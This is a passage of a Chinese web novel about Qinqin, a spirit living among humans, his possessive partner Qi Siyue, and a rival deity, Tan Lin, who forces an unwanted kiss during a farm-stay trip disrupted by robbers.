尤其是在尝到甜味的那一刻,但他又不得不攥紧自己的手指,让指甲刺进皮肤产生痛感来让自己尽量冷静。 否则会吓到他……不能吓跑。 唇贴着唇先是磨了好几下, 他含吮着芩芩柔软的下唇, 发出啧啧水声, 感受到了芩芩怯怯的呼吸, 还在颤着身体本能往后退,他立刻像条粘人的狗一样跟去, 接着舔。 没有反抗, 这个念头让祁斯越呼吸失控,大脑空白。灼热的大手不自觉往上挪, 以防芩芩接着往后,干脆动手制住了芩芩窄瘦的腰,不许他再往上缩。 香甜味道从唇缝中溢出,直往祁斯越鼻腔冒, 他忍不住鬼迷心窍地往里伸了舌头,轻轻去碰芩芩。 芩芩第一次面对这种状况, 难耐地皱起眉,从喉中发出不太愉悦的声音,想要动手去推人了,但对方只是揉了揉他的腰, 他便腰一挺, 又软了身体。 身体是软的,嘴里也是湿湿软软的,用力舔也没事,他只会象征性哼哼两声。 祁斯越呼吸声越发沉重,安静室内只有黏黏糊糊的水声, 还有两个人的喘息。 他膝盖往前,凑的更近。 他察觉到了芩芩唇舌的一点点回应,这让他更疯了,心跳剧烈跳动,几乎已经失了神志,连唇间不小心溢出来的津液也要悉数舔尽,手上捏着芩芩的腿弯揉弄。 芩芩不住细细的哼声,祁斯越好像已经神魂颠倒了,艰难抽空问了句,“宝宝舒不舒服……” 芩芩整张脸发热,手指掐着祁斯越的肩膀,祁斯越根本都不让他回答就又开始吻他。 落地窗外,阳光即将被大海彻底吞没,一片宽阔的暗蓝色。 缩在床上,芩芩不止是脸红,唇也是红的,又红又涨,微微张着合上就难受,里面是被舔的过分的舌尖。 发丝湿漉,几缕黏在湿红脸颊上。 就连弯曲的腿弯往上,腿后侧也泛着粉,整个人可怜兮兮,气狠狠地,“祁斯越,你、我讨厌死你、了……” 喘息让他一句话都顿几下。 祁斯越从浴室出来,浑身水汽,跪在床前,伸手轻轻捏住他的唇肉,往里面看,眼底有些晦暗不明的色调,他内疚的说:“没破,芩芩对不起……都怪我,我太用力了,以后不会这么用力了。” 芩芩这次没那么好原谅他,转身把被子一卷,不理他了。 祁斯越先是起身把窗户开了一条缝,风把白色窗帘吹得呼呼起舞,他上床自背后抱住芩芩,“还没吃饭,芩芩,不想吃东西吗?” “我去买好不好?想吃什么?” 芩芩躲在被子里,用能量修复自己发痛的嘴巴,他怎么也没想到他的能量会用到这种地方。 在世界最美的群岛上,属于少年青涩的爱与欲悄然升腾,两只潮湿手拉在一起,芩芩别着头看天上飞过的海鸥,若有所感地往反方向转过头,看到了举着相机的felix。 飞机划过天空,芩芩第二次坐飞机没第一次那么好奇了,垂眼翻看felix发来的照片,用飞机上的付费网络转发给谈临。 芩芩昨天就把遇到felix搭话的事情讲给谈临了,谈临还说他倒是想看看拍的怎么样,芩芩现在可以让他看到了。 talin:【很好看】 我是一棵小树苗:【「呲牙」】 对方忽然弹出来,【我是说风景】 芩芩本来也认为他是在说照片整体,根本就没有觉得是在说自己,这个谈临这么曲解别人的意思,真让人来气! 我是一棵小树苗:【「鄙视」】 talin:【你是漂亮哦「抱抱」「玫瑰」】 他特地学着芩芩用了小黄脸表情。 我是一棵小树苗:【「鄙视」】 呵呵。 芩芩都不想和他说话了。 talin:【生气了?】 他发来条语音,芩芩觑了眼过道另一侧闭目养神的祁斯越,抿抿唇,没敢点开,语音识文字。 talin:【sorry,芩芩~】 还有一个波浪号。 芩芩:…… 又是一条语音。 talin:【你明天才能回来是不是?我不小心拿到了两张后天的电影票,没人陪我去,不知道怎么办?】 芩芩咬牙切齿打字,【那你都给我吧,没人陪你去,有人陪我去。】 飞机落地确实已经是第二天的事情了,距离暑假结束还有一段时间,回到家,芩芩都有种恍惚的感觉,似乎很久没回来了,都有了几分熟悉的陌生感。 他几天没有理会谈临,谈临逐渐也不怎么给他发消息了。 自从回来,芩芩就迷上了游泳,喜欢在水里飘着。 这天从游泳池出来他把自己洗了一遍,换上了祁斯越给他准备好的衣服,下意识就开始找人。 一路走到卧室门口就听到了自己的手机铃声,祁斯越的手机铃声从来不响,所以他确定就是自己的。 芩芩推开门,就见祁斯越站在沙发边,垂着头手里是响着铃声的手机,由于紧握,指骨都有些泛白,高大周身笼罩了一层偏执的阴郁。 芩芩未干的睫毛快速地抖了几下,上前来到祁斯越身边。 他手机怎么了吗,祁斯越忽然这幅样子。 “洗了?”转头面向他时,刚刚的那些感觉仿佛又都成了错觉,祁斯越把还在响手机递给芩芩,笑着摸起一缕半干的发丝,“还自己吹头发了。” 芩芩点点头,看到打视频的是谈临,而且已经打了两通了。 “我也不知道他为什么给我打视频……”芩芩挂掉了。 祁斯越说:“有些人就是这么奇怪。如果知道别人的关系还想横插一脚,就叫插足,也叫小三。” “这个在人类的世界是很可耻的。” 手机弹出一条信息,talin:【他叫你挂的吗?我想和你道歉】 芩芩看见,祁斯越也看见了。 芩芩按灭了手机,垂在腿边。祁斯越是很容易担惊受怕的性格,可别看到谈临,又像当时他去见了王子回来的那天晚上。 “我没喜欢他哦,我只喜欢你。”芩芩快速的解释。 祁斯越怔了瞬,唇角满意地扬起,从芩芩身后搂住他的腰,“我知道。” 像被条蛇缠着。 芩芩的脸上白,脖子也白,洗了澡隐隐有些没擦干的水光,他没忍住凑上去亲了亲,抱着的人立即躲了下,“不要、” 就这么一下,就隐隐泛起粉。 “不亲了。芩芩,那我可以看你的手机吗?”祁斯越稍稍晃了晃抱着的人,低声说:“你是自由的,你可以不让我看,都没关系,但是你也可以看我的,我没有密码,你的密码是1122,之前你告诉我了。我也不是现在要看。” 芩芩咬咬唇,没犹豫几秒就回答了,“可以啊。” 他手机里确实没什么东西。 他说的不是现在要看,确实没看。 当天晚上,他就左手抱着人,让芩芩自己输了密码,右手开始翻看起来。 芩芩一条腿搭在祁斯越腿上,脚趾忍不住缩了下,确实没什么啊,可是他为什么还是有点紧张。 祁斯越径直点开了talin的聊天框,芩芩咽了口口水,当前界面都是talin给他发的消息。 祁斯越没往上翻,而是点开右上角查看聊天记录,日期,按日期查找。 祁斯越放下芩芩的手机,从旁边拿起自己的,递到芩芩面前,芩芩顿了顿,接过去。 “可以吗?不愿意就说不太想,我就不看了。”祁斯越看着他,芩芩并没露出多么抵触的表情,他心里松了口气。 “想看就看嘛。”芩芩按了下去,屏幕显示了第一天的内容。 芩芩就这么被迫重温和谈临的聊天记录。 “这个是他前面说的。” …… “这个也是,他说想看照片。” …… 其实芩芩和谈临的聊天记录本就并不算多,很快就翻完了。 芩芩还顺便回了一条,【是我自己挂的,没有生气。】 手机息屏放到一旁,芩芩觉得祁斯越误会什么了,“他就是有时候说话奇怪,但他不是坏人,等下次我们一起出去玩,你就会知道他人还是挺好的。” 祁斯越停顿许久,轻笑了下,点头,随后问:“你不想看我的吗?” “明天再看吧,好晚了。”芩芩是真的有点困了,往枕头里一缩,白皙的小脸陷在其中,半睁着眼睛好像在问他怎么不躺下。 似乎对他手机里的内容没什么兴趣,也不想知道。 祁斯越无声的看了他会,有些无奈,凑过去在他脸颊上吻了吻,“晚安,宝宝。” 芩芩睡着了灯才熄灭。 窗外月亮也隐在云层之后。 不远的豪车中,男人指尖猩红闪烁,手悬在车窗边,视线盯着一扇黑暗的窗户,鼻尖萦绕着烟味。 真睡了吗?还是在睡? 面对他一句玩笑就不理他几天,道歉也不回。他按开手机,屏幕上是芩芩最后回的那一句,回的也敷衍。 面对祁斯越呢?哄一哄就抱着自己的腿了吧? 往日里总是调侃温和挂着笑意的脸上,此时只是潜藏在烟雾后的厌嫌阴翳。 真够不公平的,明明他们是同一时间看到他的,谈临心里禁不住讥讽,说到底还是自己不会装可怜哄人。 第117章 第 117 章 农家乐 谈临视线久久盯着窗户, 他等待的日子逼近了,虽然也不算迫在眉睫,但他觉得是该把事情先办完。 他该开心, 人类升职都会开心, 他勉强也算是个人。 他马上就要离开这个地方, 接下来祈斯越会接任他的位置——新一代的区域神。 他不用被困在这个地方了, 等待他的是更大的可以放肆施展拳脚的战场。 芩芩只是其中的一环罢了。 那是十一年前的事了。 透过祈斯越这个接任者的眼睛,他第一次见到他——漂亮、单纯, 说的难听点是笨, 这就是谈临的第一印象。 或许是个早死的孤魂野鬼,或许是山林中刚修成人形的精怪。 不是什么很需要注意的角色。 唯二的猜想, 在学校组织的一次很普通的出游时改变了。 芩芩意外踩死一只大蚂蚁,他不敢置信地看了几秒,左右观察身边只有一个表情淡漠知道他身份的祈斯越。 他飞快曲着膝盖跪在地上,两只手捂住蚂蚁的尸体。 当他幼小的手再打开时, 原本尸体模糊、腻在一块的蚂蚁好像被拨动了时间,回到了一分钟前。 若无所觉, 继续去寻觅食物。 芩芩嘴里小声嘀咕着,“这个是我踩死的,不是原本该死的……” 谈临在自己的空间里睁开眼,瞬间明白了这种力量意味着什么。 早从那一刻, 他就开始渴望这种强大的力量。 而祈斯越哪怕是未来的接任者, 未来的神,也只是一个小孩,他只看了一眼,就把人拉起来,蹲下去拍芩芩粘上泥土的裤子, “不要随便跪在地上,穿了长裤不可以,穿短裤更不可以。” 芩芩注意力在蚂蚁爬上树,嘟嘟囔囔地说:“我知道。” 芩芩离开的第七年,谈临终于剥丝抽茧理清了他的身份。 ——生死之界,有主其命。地生灵木,木蕴灵胎。灵虽具而未形,若赤子初孕,浑蒙未开。此天地生气之所凝也。 这是四百年前的区域神记载的,算是他的上上任。当时提到灵虽具而未形,但时过境迁,不仅悄悄的成了形,还来到了人的世界。 现在,倒是完全彻底融入人的世界了,嘴都被亲烂了。 他需要快点推动他的计划了,让这力量心甘情愿的为他所用……不管力量还是人,谈临都要。 芩芩之前提到想让祈斯越和谈临认识不是随口一说,是真的有在思考,他们两个都是很好的人,但是又对对方存在一点误解。 手机上看到了打广告的农家乐,图片里看起来山清水秀,树木茂密。让他联想起在飞机上朝下看,看到的那一片森林,他想去。 而且很便宜,一个人五天四晚400块,包吃住,专车接送。 三个人就是一千二百块,芩芩算了算,打开自己的余额数了数,他还有二十万多。 可以去,这是个好机会。 芩芩就这么把两个人都带过去了。 两人事先都被芩芩通知过,见面芩芩给他们介绍了对方,两人倒维持表面的平和,点头说了句你好。 谈临拖着一个行李箱,还带着遮阳帽和墨镜,装备齐全。 农家乐的车来车站接他们,是一辆不算新的小三轮,没座位。 他们三个只能坐在后面的兜子里,农家乐还特地给车兜放了几个垫子。 周围的风光逐渐没有了工业气息,变成了一望无际的田野和山。 “农家乐还是下村种地?”谈临看向曲膝坐在中间,满面心虚抿住嘴巴的芩芩。 芩芩本来就已经够内疚了,装没听见,扶着草帽打量四周,“这地方怎么看起来和介绍完全不一样啊。” 谈临侧头掩住眼底的笑意,“专车原来是三轮车。” 芩芩也没想到啊,他看到车那一刻涨红脸,急急忙忙问了司机大爷,结果大爷连普通话都说不明白,只一味的说“上车、上车。” 轮胎路过一个坑,三轮车随之剧烈颠簸。 芩芩感觉自己的身体都离开了三轮车,在空中微滞又跌下,他坐在中间没抓的东西,没稳住平衡,猛地歪向谈临的方向。 芩芩怔愣又惊慌,偏偏他根本没法控制自己。 谈临眼底一动,脊背略绷,身体反应张开双臂,等待人扑进他怀中。 他想象的一幕却并没有发生。 一只骨节分明的手横空阻碍,祈斯越单手圈住芩芩的腰,朝怀里按去,芩芩的那么坐到了他腿上,像个小孩似的被抱着。 芩芩早已习惯了祁斯越的怀抱和温度,松了口气。 祁斯越轻拍他的腰,淡声说了句:“抱着我,小心摔了。” 芩芩搂上他的脖子,在他耳边小声委屈的抱怨,“我再也不贪便宜了,屁股要癫烂掉了。” “也是一种体验。” 祁斯越手握着身侧的护栏,稳住身体,在一次次的颠簸中,搂抱着怀里晃动的身体。 ——这动作实在太怪异了。 另一侧的谈临眉头禁不住皱起,不可避免联想肮脏又乱七八糟的东西。 芩芩穿了件宽松白t,头上被扣了顶小草帽遮阳。 单薄白t贴在背上,把在阳光下一晃一晃的弧线勾勒的青涩稚嫩,连褶皱都有几分清纯味道…… 他被自己的想法弄得自嘲又烦躁,目光一挪,又被紧紧搂住别人脖子的白手臂吸引去,迅速挪开视线。 他们两个还在相互耳语,三轮车噪音太大,他听不清。 多幼稚,刻意用这种姿势在他面前彰显他们的亲密。 祈斯越是以为他多喜欢他怀里的人吗? 想多了,他不喜欢。 虽说过程不太美好,但到了地方也勉强能评价一句“还不错”。起码房子不漏风,树也有水也有,还有各种小动物。 他们住的院子里还有一棵大枣树,结了果实,已经到了成熟的时候。 老板是说能说普通话的中年人,一头大汗像刚做完活,浑身散发一股臭味,太阳下面甩刚洗过的手,要在电脑核对他们的信息。 祁斯越把两人的身份证递过去,老板输入,片刻后还回来,感叹说了句:“你们三这姓真够少见的,这个芩字,我要不是看了下都不会念。” 祁斯越把身份证收起来,芩芩趁机看了眼自己的身份证,他的脸蛋旁边就写着芩芩,两个字都一样。 “老板你姓什么呀?”芩芩在柜台前面好奇问。 “李,我这是大姓,全国到处都是。” 老板用搭在脖子上的毛巾擦擦额头,“得了,小孩。我还得去圈猪圈,不知道被哪个狗日的拆了,还偷了我一头猪!” 说起来他就来气,但也不想给这些外来的游客诉苦,好像显得他这里不安全一样, “不过也没事儿,你们先过去吧,就刚刚路过那个有枣树的院儿,一天三顿饭,早上七点,中午十二点,后午六点。后面山旁边有湖可以钓鱼,钓鱼的设备得租。” 芩芩乖顺点点头,看着老板急急忙忙地快步走出去。 一旁的谈临立在旁边不说话,有些多余似的,收起自己的身份证。 芩芩凑过去拽拽他的袖子,“我们过去吧。” 谈临挑了下眉,盯着他瘦白干净的手指,“嗯。” 祁斯越握住芩芩另一只手,拉着刚说完话的他出去,芩芩还在和谈临说:“走呀!talin。” 很快到了正午,这里的午饭是老板和他老婆亲手做的,也是个很亲切的中年女人。午餐的味道很不错,到了才发现还有别的几桌游客。 由于他们出众的外貌,收获了不少视线,女老板还给芩芩拿了几颗枣子让他吃。 屋内热烘烘的,连个空调都没有,只有一个咿咿呀呀的立地破风扇,芩芩热得呼吸都像蒸笼,发尾黏在白里透红泛着水光的脸颊上。 祈斯越带他去树荫下的躺椅躺着,比屋里还舒服些。 “怪不得这放几个躺椅呢……” 他肉粉色的嘴唇微张着,半闭眼睛,仰着脖子呼吸。 祁斯越还拿来一个插板,把风扇放在了树荫下,风扇的风混杂着自然风,芩芩终于凉快了些,胸脯一下一下的起伏。 “祁斯越,你为什么姓祁啊?”芩芩睁开眼,冒出来这么一句。 祁斯越躺在他旁边的躺椅上,“因为我父亲姓祁,名字只是代称,不是什么很重要的东西。” 芩芩半爬起来看他,“那我没有父亲呢?我也姓祁好不好?” 另外两人都动了动,谈临看了眼两人,眼底有些晦涩。 要姓什么,这个问题芩芩之前就考虑过了,在学校别人也问他姓什么时。 只是当时一直没想到,大家的姓都是传承,他无处传承。 “祁芩芩…”芩芩嘟囔着,摇头,“不好听。” 祁斯越去拉他被风吹的干爽的手,低声说:“还可以。” 芩芩侧头去看谈临,谈临枕着自己的手,戴个墨镜,不知道在想什么,“谈芩芩,更奇怪了。” 芩芩,又看起来没有姓似的。 其实有没有不重要,只是别人都有,让芩芩有了些执念。 阳光透过树叶的罅隙在地上形成片片光斑,树上结成的枣子有些已经成熟,有些还青涩。 午饭的时候他吃了两个,脆脆甜甜很好吃。 他眼底照映着树影,看了半晌,“枣芩芩好不好?” 芩芩一下坐起来,对着祁斯越指着头顶上方,翘着睫毛很欢喜的样子,“姓枣好不好?和早上好的早一样。” 他表现的这么满意,祈斯越不可能说不好,点头说好,还说要陪他去把现在的名字改掉。 芩芩揣着珍宝似的,跑去找老板说了自己的新名字。中年男人圈完猪圈一头热汗,都没听清这个漂亮小孩具体说了啥。 但看着他愉悦发亮的眼睛,还是竖起拇指夸,“好,真好,非常好!” 一切似乎很宁静,夜里有原生态的蝉鸣蛙叫,比白日凉爽许多的山风。 水声作响伴随着点闷哼。 房间的床实在太小,都是单人床。 浑身潮湿泛红的芩芩把祈斯越赶出去,舌尖轻碰自己涨红的嘴唇,哼哼两声躺回枕头上,难得一个人睡,听着风吹缓缓入眠。 烟味萦绕在鼻尖,乱七八糟的吵闹声让睡梦中的芩芩不耐地翻了个身,想躲开讨人厌的味道。 高大的黑影站在一旁,抽完一根烟,把烟头扔在地上踩灭。 他俯下身握住芩芩柔软的手臂晃了晃,语气紧迫催促,“芩芩!醒醒!” 芩芩被人弄醒,迷迷糊糊睁开眼,努力分辨面前的人是谁,“干嘛……” “快起来,有抢劫的来了,七八个人还拿着刀,旁边院子好像有人被捅伤了。”他又急又快的说,在芩芩出声前,大手捂住他的嘴唇。 芩芩已经被吓清醒了,眼睛睁大,两手攀着他的手腕想让他挪开。口腔间呼出的热气都被谈临闷在手心中,有些痒意,他的心也有些痒。 谈临:“不要发出声音,行不行?我带你偷偷离开。” 芩芩快速点头。 谈临一把将人抱起来,叫芩芩抱着他的脖子,往外走,边走边说,“我今天看到这里有后门。” 芩芩万万没想到会发生这种事情,只是在体验一下农家乐,这么倒霉照片与实物不符就算了,居然遇到了亡命徒!怪不得这么吵,他听到的吵闹声是别的游客和劫匪的对话声,还有惊慌的尖叫。 他真后悔过来,咬着自己的唇瓣,手攥着谈临的衣服,“等等,我们还没叫祈斯越呢。” 谈临顿了下,“我让他先走,我去找你,他已经出去了。” 芩芩虽然觉得奇怪,但慌乱的心稍微平静下来了。 谈临抱着他刚从后门出去,芩芩下一刻就听到他们住的那个院子的门被踹开的声响,一串脚步声进去,有人喊着,“哥!人不见了!” 第118章 第 118 章 蠢狗想吃巴掌了 芩芩被这一声吓到, 脑子整个是乱的,害怕的情绪占比倒是不多,最多的是懵。 谈临抱着他离开后门, 径直钻入林中。农家乐在山腰而建, 走起来要格外小心, 以防踩空掉下去。 不知走了多久, 谈临侧头对芩芩说,“我们在这等警察吧。” 他粗重的呼吸尽数喷在芩芩脸上, 伴随着一股冷调的烟草味, 芩芩下意识皱眉躲开,又点点头, 想到他可能看不到,“嗯”了声。 芩芩被放在一块天然的大石头上,光脚踩在冰凉的石面上缩了缩。 周遭林中虫子叫声更响亮,树冠把月光遮了大半, 只能看到一个轮廓。 远处农家乐的喧闹声已经听不到了,芩芩一路上以为会碰到祈斯越也没碰到, 不知道人去哪里了。 “祈斯越也从后门走的吗?”他小声问身旁的谈临。 谈临没回答,只蓦然提醒一般,握住了芩芩细瘦的手腕,语气压低, “嘘, 好像有人来了。” 两人贴的很近,芩芩立马屏息,竖着耳朵,专注听声响。 谈临没有听错,远处确实有越来越近的脚步和对话声。 芩芩朝他们来时的方向看去, 在树木缝隙间,隐隐看得到微弱的手电筒光亮,可以判断出人不少。 芩芩猝不及防,又被谈临抱起,还在手臂间颠了颠,芩芩连忙搂住他的脖子稳住身形,低又短促叫了声“啊”。 “嘘。别叫。” 芩芩连忙无辜地抿住自己的嘴巴。 两人摸黑往更深处走去。 耳边的呼吸声愈发粗重,芩芩不禁后悔,自己怔愣下让谈临直接把他抱走,而不是先穿上鞋! 但这也怪不得谁,谈临太急,芩芩也没反应过来。 几缕手电筒的光线在林中越来越近,谈临背对着他们,芩芩的下巴搁在谈临肩上看得一清二楚,他低声提醒谈临,“他们好像要追过来了,越来越近了。” 谈临出了口气,脚步没加快,反倒停住。 他转头在黑暗中巡视了一圈,几步走到一个草丛密集的角落中,俯身把芩芩放地上。 “talin。”芩芩不太明白他要做什么,仰着头,身下硬挺的草有些扎人,以为谈临不想抱他了,下意识想自己站起来。 谈临却蹲在他面前,黑暗中芩芩看不到谈临的表情,只头被摸了摸,那只手很快顺着摸到脸颊上,手掌心温热干燥,有一种莫名的安全感。 芩芩睫毛颤了颤,有种预感。 谈临凑近,低声道:“这里待着,我去把人引开。” “不要。”芩芩连忙抓住他的袖子,“我们一起找个地方躲着就可以啊。” “他们的架势,暂时可能不会放弃。你没穿鞋体力又不好,乖点,听话。”谈临轻笑一下,还有闲心散漫问:“担心我?” 芩芩直白地点头,“嗯,我们、他们应该不会伤害我们的,劫匪嘛,给钱让他们走就好了,我有钱的。” 谈临没说话,无声看了他几秒。 片刻后,执意起身离开,他故意发出来动静,很快劫匪的声响就从芩芩不远处略过,并没有走过来检查他这边。 芩芩咬着唇,独自缩在高高的草丛中,发出声音,以免让谈临白费功夫,两个人都被逮住。 也就半个小时,芩芩就听到那几个追过去的绑匪原路返回,说话声没有丝毫收着。 “哥……那人掉下去会死吗?” “管他死不死的,等发现他咱们都已经走了,再说了,又不是咱把他丢下去的,他自己掉下去的干我们屁事!到了阎王那都赖不到哥几个头上。” “哥说得对,你怕啥呀?真是,都干这了还怕死人?” …… 他们的脚步声一走远,芩芩就立马起身,毫无防护的脚踩在野外的地面上,地面上细碎的小石子小树枝扎进去,疼得芩芩直蹙眉,下意识就想到祈斯越。 也不知道他在哪里…… 天光阴暗,升起一点的太阳被乌云遮挡。 芩芩没一步一步去找,消耗了些能量来到谈临不远处,以防被他看到突然出现的自己吓到他。 芩芩环顾四周,抬头发现果然在一处不高的悬崖下方,谈临真的从悬崖掉下来了。 他登时头有些晕,小脸透出一种淡淡的崩溃。 要是谈临真出事,都是他的责任啊,是他把人叫过来的。 为了装作自己很艰难才下来的样子,芩芩躺在了地上望着天空,往自己身上脸上都擦了些泥土,才起身走到谈临身旁。 谈临高大的身体横尸荒野般,平躺在杂草中。 面色苍白,眼睛闭着,颧骨处有道划伤渗着血,身上各处也都有些伤,像是滚下来的时候被石头之类的东西划破的。 芩芩回过神,连呼吸都断了瞬。 他连忙曲膝跪在在谈临身旁,肉粉色的嘴唇褪出一点色泽,他下意识去晃他的身体,喊他名字,“talin……talin,谈临!” 芩芩忍不住去试他的呼吸,才松了口气,收回手。 他想要用手机联系祈斯越,才发现连手机都没带上。 于是又匆匆去谈临身上摸,谈临身上只有裤子有口袋,芩芩一摸,两边都是空的。 怎么能这么巧这么倒霉,简直像是精心安排的剧本,少一步两个人都不会困在这里。 芩芩咬着发白的唇,单薄的肩膀耷着,看了下虚弱的谈临,考虑要不要趁谈临没醒,直接把他带回去。 只是那样,用不了多久芩芩又要回去一趟生死之界了…… 祈斯越又要等他了,这次主动回去,祈斯越还能少等几年。 芩芩垂眼才发现谈临睁开眼睛,但似乎没聚焦,芩芩连忙俯身唤他。 谈临看向他,似乎是难受,唇往下抿住,“芩芩……你怎么也在这?” “我、”芩芩抬头看了眼上方的悬崖,心虚抖着睫毛,“我不小心滑下来了的,不过没晕倒。” 天公不作美,倒霉就是喝凉水都塞牙,天空居然下起了淅淅沥沥的小雨,淋在两个可怜人身上,而且有越来越大的架势。 不过芩芩更多是觉得是谈临倒霉,毕竟自己又不会死,也不是人。 芩芩将他扶起来,试图寻找上山的路,路没找到,先找到了一个小山洞,刚好进去躲着。 洞口像水帘洞,不消片刻就形成了一层水幕。 两个人都只穿件T恤,亏了现在是夏天,降温不多,是闷热而不是湿冷。 芩芩望着水幕,身上薄薄的白t湿了,发尾也黏在雪白脸上,脸上覆着层水光,和他抹在脸上的土混在一起成了泥。 他抬手臂擦擦脸上的水痕,苦闷地看着外面的雨。 谈临侧头忍住笑意,他躺在地上听到了芩芩的声音,装了片刻,睁开眼睛看到的就是那一张花猫脸——鼻尖脸颊都是土,却丁点伤都没有,一看就很刻意。 “摔下来疼不疼?”谈临抬手擦去他脸上一点泥。 芩芩回过头,眼睛转了转,点点头,“疼。” 不疼才奇怪。 “你呢?”芩芩礼尚往来问。 他问的不是很认真,谈临摔成这个样子肯定很疼,他只需要在谈临说疼后安慰几句。 所以芩芩随意地靠在墙上,抬着头露着水光浸湿的脖颈和锁骨,胸脯和衣服布料紧紧贴着,印出一点让人不敢直视的颜色。 没听到他的回答,芩芩视线瞥向他,单纯疑惑他怎么不说话。 这份青涩与诱惑感交织的画面,瞬间击中了谈临摇摇欲坠的心脏,几乎是鬼使神差的,他把自己安排的当的计划抛之脑后。 恍惚凑过去——朝着芩芩微张的唇。 芩芩眼底闪过慌乱,侧头躲开了这个吻。 谈临在原地顿住,一时间表情空白,心里有对自己的愕然,也有对芩芩躲开他的不敢置信。 瞬间他强行调整好自己的表情,勾起唇角,退回去,调侃笑问:“这么嫌弃我啊……我说疼的话,你会亲一下安慰我吗?” 芩芩奇怪地看着他,摇摇头,“不可以。” 谈临薄唇微张,不知做什么表情,盯着芩芩点点头,刚刚被压下去的不满瞬间不断放大。 空气安静几秒。 “哦,那他为什么可以进你房间抱着你亲?” 完全是冲动之下没克制住自己而问出的话,他说出来就后悔了。 不该说。 这句话简直是在帮助芩芩认识到自己心里,他和祈斯越的区别。 果然,芩芩呆呆地愣住,随即脸上迅速爬上一层粉,肉眼看着都好像在发烫,缓缓蹙眉垂下了眼睛,看起来那么好欺负。谈临觉得现在自己真要强行对他做什么,他也只能用这种表情说“不要这样!” 却又忽然很坚决,“因为我喜欢他,两个互相喜欢的人才可、” “我喜欢你。”谈临打断了他说的话,“看不出来吗?” 他好像破罐子破摔了。 凭什么?在夜晚都被祈斯越钻进衣服弄了。 到他这里,亲一下也亲不得。 他表现的不够好吗? 他的目光没压制住侵略性,仿佛要把芩芩吞了,让他不舒服的摇摇头,想说什么。 但谈临已经猜到了。 他不能让他说出来,什么不喜欢他之类的屁话。 谈临青筋直跳,猛地凑上去,冲着芩芩的脖子,鼻梁又是蹭又是拱,疯狂地吸气,一点都不带演的了。 芩芩被他突如其来的动作吓了一大跳,又被他手臂抱着,被迫耸着肩膀,极力推他。 “谈临!” 谈临抱着他,像瘾君子终于解瘾一样贪婪的吸食,随后紧紧箍住芩芩的胳膊,开始朝他脸上、朝他唇上挪。 脸颊被他鼻梁抵着,芩芩难耐侧头,不断躲闪朝自己而来的吻。 他极力抽出手,去推谈临的脸,随即本能的一巴掌扇着谈临脸上。 第119章 第 119 章 嘶溜嘶溜舔舔 时间似乎停滞几秒。 芩芩手心火辣辣地发胀发痛, 心跳连着呼吸都急促起来。 谈临舌尖抵了下被打的脸颊,鼻腔内是芩芩张开的唇缝因急促呼吸冒出来的气息,似乎连痛疼都不能让他神志清醒。 谈临闭了瞬眼, 咬着牙喘气, 嗓音低哑道:“等会再打。” 似乎吻不到人不罢休, 还要继续。 芩芩看出了他的意思, 直接捂住了自己的嘴唇,不管是动作还是眼神, 好像每一寸都在表达着他毫不留情拒绝的态度。 “拒绝我倒是挺干脆的, 一点都不呆了。”谈临膝盖跪地逼得更近,捏住他的手腕, 眼底是溢出来的偏执,“我比他差哪了?” 他脸上的伤痕转瞬间愈合,变化太明显,芩芩大脑一瞬间空白, 没来得及思考什么情况,谈临已经开口。 “比起他, 我不是更配你吗?他只能陪你几十年哦,我可以陪你很久很久,我们才是同类……他给你的所有我都能给你。” 最后几个字,谈临几乎一字一字用发誓般的口吻, 盯着芩芩的眼睛, 要灌进他心里。 芩芩眼睫颤了颤,他是很渴望长久的朋友。 他每一次醒来都能去找那个人,仿佛在人类世界拥有归属,而不是空荡荡在这个世界上漂浮。 可他已经答应祁斯越了。 而且,谈临现在让他很气愤, 他不想和谈临很久很久!一点都不想! 谈临极具压迫感的注视,并没让芩芩回答出他想听到的答案。 芩芩朝山洞方向侧头,错开他的视线。 落到谈临眼中,就是连看他都不愿意了。 …… “你自己选的。”谈临牙关挤出来的几个森然的字。 他单手握住芩芩的手腕,硬是蛮力拿开,携着消散许多的烟味,阖眼朝他吻过来。 芩芩紧蹙着眉,眼中倒映着他疯迷痴狂的模样,真真切切地生气了。 既然谈临也不是普通人类,那他也没有好顾虑的了。 面前人猛地被震开,后背砸到另一面墙上去,小碎石和灰尘扑簌簌落下,谈临弯腰吃力地咳了声。 芩芩悬在空中的手都忘记收回来,目光怔怔落在对面缓气的谈临身上。 不对啊,他还没有动手呢…… “芩芩!”急迫又熟悉的声音喊他。 芩芩朝洞口看着,祁斯越喘着气,视线在垂落碎发间注视着他。 芩芩迅速站起身,朝祁斯越跑去。仿佛找到安全感般,扑到他张开的怀中。被紧紧抱住。 于是他没发现,祁斯越看向谈临的眼中生出的森冷杀意。 警察赶到农家乐已经是正午,太阳正是火辣辣的时候。 劫匪早已抢劫又伤人,跑得无影无踪。按照规定,除了受伤进医院的,大家都要下山排队做笔录。 他们的信息被农家乐登记在一起,三人是一起进去的。 芩芩和祁斯越表现的更为亲密,要做笔录的时候手都没松开。谈临站在一旁,衣服脏了,眼底还有红血丝未褪去。 警察看了眼,随口对两人问了句:“兄弟?” 祁斯越否认,“爱人。” 芩芩也跟着乖乖点头。 警察愣了瞬,才恍然点头,将自己不该有的反应都压下去。 谈临蓦然转头,双目毫不掩饰死死盯着他们,眼神阴鸷却又空茫,紧握的手松了松。 爱人? 这次农家乐之行会是这样收尾,谁都没想到。 做完笔录,谈临就消失了,他们回农家乐找行李也没碰到他。 前一天晚上没睡好,他们在山下入住了家酒店休息了一晚,才回家。 谈临消失后,芩芩的生活又回归平静。关于那天山洞发生的事情,他心中存在些疑虑。 他明明还没动手,所以是祁斯越做的吗? 芩芩不想自己在这里纠结来纠结去了,找了个晚上就直接问了,祁斯越对芩芩没有隐瞒,说了他从小的特殊之处。 知道祁斯越不会几十年就死掉,芩芩也说不上来自己是什么心情,总的来说是很开心的。 开心余外,就是一种被牵绊的感觉,祁斯越总是在明里暗里的管他,芩芩也不是感觉不到。 但这或许就是关系的意义,两个人用爱互相牵绊在一起。 自由自在就代表着漂浮无依。 安全安心都要接受被管。 但芩芩有点点小贪心,他还是希望,在接受祁斯越带给他的安心时,还能多给他一些自由的空间。 但他这就不敢说了。 没人告诉过他,芩芩也是逐渐发现的——祁斯越的安心似乎就建立在对他的“管”。 如果祁斯越看不到他摸不到他,就会像他住进客房的那天晚上,像抽了魂…… 但不知道是时间长了,还是谈临消失的原因。 不多久,芩芩就感觉那种被束缚、被紧紧抱着般的管控感淡了许多。 王许霍有次来找他玩,祁斯越全程都在做自己的事情,并没表现出任何的紧张焦躁,也没有过来看他们。 他们三个还一起吃了饭,反倒是王许霍对祁斯越的态度不是很好。 